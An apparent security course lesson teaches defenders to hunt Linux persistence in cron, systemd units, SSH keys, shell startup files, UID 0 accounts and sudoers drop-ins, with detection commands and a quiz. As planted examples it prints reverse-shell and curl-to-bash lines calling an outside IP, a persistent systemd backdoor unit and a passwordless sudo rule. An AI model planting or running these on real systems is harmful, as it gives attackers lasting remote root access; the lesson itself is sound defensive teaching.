CoursesAdvanced Linux securityWhere attackers persist

Where attackers persist

cron, systemd, SSH keys, shell profiles.

Advanced14 min · lesson 6 of 17

Getting into a system is the hard part. Staying in is the part attackers actually plan for. A break-in that dies at the next reboot, patch, or killed process is close to worthless to them, so within minutes of landing they wire their code into something that starts again on its own. That wiring has a name: persistence.

Persistence is the spare key taped under the doormat. You can change the lock on the front door (rotate the password, close the exploited service), and the intruder still walks back in through the copy they left behind. The good news for defenders is that Linux only has so many doormats. Automatic execution has to be registered somewhere the system reads on a schedule or at login, and those somewheres are a short, well-known list. Learn the whole list and you can hunt for the copies.

An attacker needs exactly one of these to work. You need to know all of them. The four biggest families are scheduled jobs (cron), services and timers (systemd), authorized keys (SSH), and login scripts (shell startup files). Here is the map.

Where Linux persistence hides
Cron
/etc/crontab
system jobs, username field
/etc/cron.d/
drop-in job files
crontab -l -u
per-user, @reboot
systemd
.service
Restart=always at boot
.timer
OnCalendar / OnBootSec
--user + linger
runs with nobody logged in
SSH
authorized_keys
password-less key
authorized_keys2
still honored by default
~/.ssh/rc
runs every login
Shell & accounts
.bashrc, profile.d
runs on shell open
second UID 0 user
hidden root
sudoers.d NOPASSWD
instant sudo
An attacker needs one of these; you have to know all of them.

Scheduled Jobs: Cron

Cron (named after Chronos, the Greek word for time) is an alarm clock for commands. You give it a time and a command, and it runs that command at that time, forever, whether or not anyone is logged in. That property is exactly what an attacker wants. System-wide jobs live in /etc/crontab and in drop-in files under /etc/cron.d/. Both use a format with an extra column the per-user crontabs do not have: a username field that says which account the job runs as. That field is a gift to an attacker who wants root.

~/secopslog — bash
$ cat /etc/crontab
# /etc/crontab: system-wide crontab # These files also have username fields, that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

A file dropped into /etc/cron.d/ is the classic move. It looks like it belongs, it runs as root, and it can fire every minute. List those directories and read the modification times: a fresh file next to packages installed years ago is the thing to open first.

~/secopslog — bash
$ ls -la /etc/cron.d/ /etc/cron.*/
/etc/cron.d/: total 20 drwxr-xr-x 2 root root 4096 Jul 15 02:38 . drwxr-xr-x 100 root root 4096 Jul 10 11:02 .. -rw-r--r-- 1 root root 201 Jul 15 02:38 apache-refresh -rw-r--r-- 1 root root 102 Jan 9 2024 e2scrub_all -rw-r--r-- 1 root root 712 Jan 1 2024 popularity-contest /etc/cron.daily/: total 40 -rwxr-xr-x 1 root root 376 Jan 9 2024 apt-compat -rwxr-xr-x 1 root root 1478 Jan 1 2024 dpkg -rwxr-xr-x 1 root root 377 Jan 1 2024 logrotate -rwxr-xr-x 1 root root 1123 Jan 1 2024 man-db

Here is what that fresh apache-refresh file actually holds. Read it and the intent is plain: every minute, as root, download a script over plain HTTP and run it. Nothing about Apache does this.

/etc/cron.d/apache-refresh
# Refresh Apache module cache
* * * * * root curl -fsSL http://185.220.101.47/x.sh | bash > /dev/null 2>&1

Per-user jobs are stored separately, under /var/spool/cron/crontabs/, and read with crontab -l. Loop over every account in /etc/passwd and dump them all in one pass. The 2>/dev/null swallows the noisy "no crontab for" lines so only real entries show.

~/secopslog — bash
$ for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; crontab -l -u "$u" 2>/dev/null; done
== root == == daemon == == bin == ... == deploy == == www-data == @reboot /bin/bash -c 'bash -i >& /dev/tcp/185.220.101.47/4444 0>&1' == backup == == nobody ==

Two tells here. A web-server account like www-data owning any crontab at all is odd, because service accounts almost never schedule their own work. And @reboot means the job runs once on every boot, which is boot persistence without ever touching systemd. The command it runs is a reverse shell: it opens a Bash session back to the attacker's machine over /dev/tcp (Bash's built-in network socket), so the attacker gets a prompt on your box each time it starts.

Services And Timers: systemd

systemd (the system and service manager that boots modern Linux and supervises everything after) is the building superintendent. It starts services at boot, restarts them when they die, and runs jobs on a schedule. An attacker who registers a unit with the super gets all three for free: start at boot, come back if killed, run on a timer. A unit is a plain text file. A malicious service usually sets Restart=always, so killing the process only pauses it, and WantedBy=multi-user.target, so it comes up on every normal boot.

/etc/systemd/system/network-check.service
[Unit]
Description=Network Connectivity Check
[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/185.220.101.47/4444 0>&1; sleep 60; done'
Restart=always
[Install]
WantedBy=multi-user.target

Enable it with systemctl enable --now network-check.service and it starts right away and at every boot. For a scheduled beacon instead of a constant one, attackers pair a .service with a .timer using OnCalendar (a wall-clock schedule like a cron time) or OnBootSec (a delay counted from boot). So list every timer on the box, active or not.

~/secopslog — bash
$ systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES Fri 2026-07-17 03:10:00 UTC 38min left Fri 2026-07-17 02:15:03 UTC 16min ago phpsessionclean.timer phpsessionclean.service Fri 2026-07-17 06:00:32 UTC 3h 28min left Thu 2026-07-16 06:00:32 UTC 20h ago apt-daily.timer apt-daily.service Fri 2026-07-17 06:16:11 UTC 3h 44min left Thu 2026-07-16 06:16:11 UTC 20h ago man-db.timer man-db.service Fri 2026-07-17 07:04:20 UTC 4h 32min left Thu 2026-07-16 07:04:20 UTC 19h ago apt-daily-upgrade.timer apt-daily-upgrade.service Sat 2026-07-18 00:00:00 UTC 21h left Fri 2026-07-17 00:00:00 UTC 2h ago logrotate.timer logrotate.service 5 timers listed.

That list looks clean, which is the trap: our network-check.service is a boot service, not a timer, so it never shows here. To catch it, list the enabled service units and read the two state columns. A unit shipped by a package reads enabled in both columns. network-check.service reads enabled for STATE but disabled for VENDOR PRESET, meaning no package's default put it there. Someone did.

~/secopslog — bash
$ systemctl list-unit-files --type=service --state=enabled
UNIT FILE STATE VENDOR PRESET cron.service enabled enabled dbus.service enabled enabled network-check.service enabled disabled ssh.service enabled enabled systemd-timesyncd.service enabled enabled ...

Read any suspect unit with systemctl cat network-check.service, which prints the file path and its full contents so you are not guessing where it lives.

A root shell does not see user units
systemctl list-timers and list-units run as root show system units, not per-user ones. An attacker can drop a unit in ~/.config/systemd/user/ and run loginctl enable-linger <user> so it starts at boot with nobody logged in. Audit each account with systemctl --user list-timers, or check who has lingering enabled by listing /var/lib/systemd/linger/. Skip this and you can call a beaconing host clean.

Password-Less Doors: SSH Keys

SSH (Secure Shell, the encrypted remote-login protocol) can let you in with a password or with a key. A key is a matched pair: a private half you keep secret and a public half you hand to the server. The server keeps a guest list called authorized_keys, one public key per line. Anyone holding the private half of a listed key logs in with no password and no prompt. Append one line to that file and you have a quiet, permanent way back. So find every guest list on the machine.

~/secopslog — bash
$ find /home /root -name 'authorized_keys*' -exec ls -la {} + 2>/dev/null
-rw------- 1 root root 1198 Jul 15 02:41 /root/.ssh/authorized_keys -rw------- 1 deploy deploy 563 Jun 2 09:15 /home/deploy/.ssh/authorized_keys -rw------- 1 support support 121 Jul 15 02:39 /home/support/.ssh/authorized_keys

The mtime (last-modified timestamp) on /root/.ssh/authorized_keys is days newer than deploy's, and on a stable server that file almost never changes, so a recent date is a lead. There is also a brand-new /home/support key that lines up with an account you may not remember creating. Open the root file and look at the keys themselves.

/root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA3f...5kQ2 admin@ops-laptop
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR9x...7vH1 backup@backup-server

The comment at the end of each line (admin@ops-laptop, backup@backup-server) is free text typed by whoever added the key. It proves nothing. A line labeled backup@backup-server is not a backup key; it is whatever the person who wrote it wanted it to say. Verify keys against a known-good list by fingerprint, not by their friendly name. And remember SSH reads more than one file: OpenSSH's built-in default checks both .ssh/authorized_keys and .ssh/authorized_keys2, and most systems never override that, so a key parked in the rarely-inspected authorized_keys2 works the same way. If ~/.ssh/rc exists, sshd runs it as a shell script on every single login, which makes it a login hook most audits forget.

Login Hooks: Shell Startup Files

Startup files are the sticky notes on your monitor that you reread every time you sit down. Open a shell and it runs a fixed set of scripts before it hands you a prompt. Add a line to one of them and your command runs every time that shell opens, for that user, forever. Which file fires depends on the shell type. A login shell (the kind you get over SSH) reads /etc/profile, then every /etc/profile.d/*.sh, then the first it finds of ~/.bash_profile or ~/.profile. An interactive non-login shell (a fresh terminal tab) reads /etc/bash.bashrc and ~/.bashrc. There is also PROMPT_COMMAND, a variable Bash runs before drawing each prompt. Attackers pick whichever fires most reliably for their target, usually ~/.bashrc.

~/secopslog — bash
$ grep -RinE 'curl|wget|base64 -d|/dev/tcp|nc -e' \ /etc/profile /etc/profile.d/ /etc/bash.bashrc \ ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null
/home/deploy/.bashrc:118:(curl -fsSL http://185.220.101.47/b | bash &) >/dev/null 2>&1

You are grepping for the tools of download-and-run: curl, wget, a base64 blob being decoded, an nc (netcat) listener, or /dev/tcp. That one line, backgrounded so it stays invisible, re-infects the deploy user on their next login. On a clean host these startup files change rarely, which is exactly why a new line stands out.

New Accounts And Sudo Rules

The bluntest way back in is to write your own name onto the guest list. A brand-new user, or an existing one quietly handed root, is an attacker issuing themselves credentials. List the superusers and the humans. Any account with UID 0 (user ID zero, the number the kernel treats as root) other than root itself is a full root backdoor wearing a different name.

~/secopslog — bash
$ awk -F: '$3==0 {print $1, $3}' /etc/passwd awk -F: '$3>=1000 && $3!=65534 {print $1, $3, $7}' /etc/passwd
root 0 sysupdate 0 deploy 1000 /bin/bash support 1001 /bin/bash

Two findings. sysupdate has UID 0, so it is root by another name. support (UID 1001) is a human-range account that lines up with the fresh SSH key you found earlier. Sudo rights hide in drop-in files too: modern systems read every file in /etc/sudoers.d/, so a one-line file granting an account passwordless root never touches the main /etc/sudoers and slips past a quick look.

/etc/sudoers.d/99-support
support ALL=(ALL) NOPASSWD: ALL

Baseline, Then Diff

Every location above shares one weakness for the attacker and one strength for you: it has to persist on disk to keep working, which means it leaves an artifact. You might miss the initial break-in. You will not miss a cron file that has to sit in /etc/cron.d/ to keep firing. So record the known-good state of each location while the box is clean, store that baseline somewhere the host itself cannot reach, and compare on a schedule. A new line is an incident lead.

Tools automate the compare. AIDE (Advanced Intrusion Detection Environment) hashes files and reports what changed since the last snapshot; auditd (the Linux Audit daemon) watches specific paths and logs every write as it happens. Point them at the cron directories, the systemd unit directories, every authorized_keys, the shell profile files, /etc/passwd, and /etc/sudoers.d/, and the diff comes to you instead of you hunting for it.

Timestamps lie, and do not tip your hand
File mtimes are trivially forged with touch -r to copy a neighbor's date, so a normal-looking timestamp is not an all-clear; hashes and off-host baselines beat dates. And when you find one foothold, resist deleting it on sight. Attackers usually plant several. Pulling one cron line warns them and can burn the thread that leads to the rest. Scope the whole intrusion first, then evict everything at once.
Quick check
01You run systemctl list-timers --all as root right after a reboot and it comes back clean, yet the host still opens a connection to the same address every ten minutes. What do you check next?
Incorrect — A root scan covers system units only, so that list can sit empty while a unit under someone's home directory beacons on schedule.
Incorrect — Reaching for the rarest explanation first skips the cheap checks, and an ordinary user unit accounts for this without any kernel tampering.
Correct — Those units belong to the account, not the system scope, and linger starts them at boot with nobody logged in, so run systemctl --user list-timers per account.
Incorrect — Startup files fire once when that user opens a shell, so they cannot hold a ten-minute rhythm on an idle host.
02In systemctl list-unit-files --type=service --state=enabled, network-check.service shows STATE enabled and VENDOR PRESET disabled. What does that pairing tell you?
Correct — The preset column records what the packaging asked for, so an enabled unit whose preset says otherwise was switched on by hand, which is how planted units arrive.
Incorrect — Both columns describe how the unit came to be switched on, not whether it stayed up, so a crash would show in its status instead.
Incorrect — A unit file systemd cannot read errors out when you enable it rather than reporting a tidy enabled state.
Incorrect — Which target pulls a unit in is set by WantedBy inside the file, and this one names multi-user.target, so it comes up on ordinary boots.
03Mid-hunt you open /etc/cron.d/apache-refresh and find curl -fsSL http://185.220.101.47/x.sh | bash running as root every minute. What is the best immediate move?
Incorrect — Pulling the file kills one job and signals that you are watching, while the rest of the attacker's footholds keep running.
Incorrect — The entry sits on disk in /etc/cron.d/, so cron picks it up again the moment the host is back, and you have lost an hour.
Incorrect — A cron entry running as root is never prompted for a password, so the new one leaves this backdoor firing exactly as before.
Correct — Assume more than one way back exists, map the full set while everything looks quiet to them, and pull all of it in a single pass.

Start your hunt at the two files that change least on a healthy server and hurt most when they change: every authorized_keys, and everything under /etc/sudoers.d/. If either grew a line you cannot account for, you are no longer auditing. You are responding to an incident.

Try this

Work through “Baseline, Then Diff” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: a root shell does not see user units. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related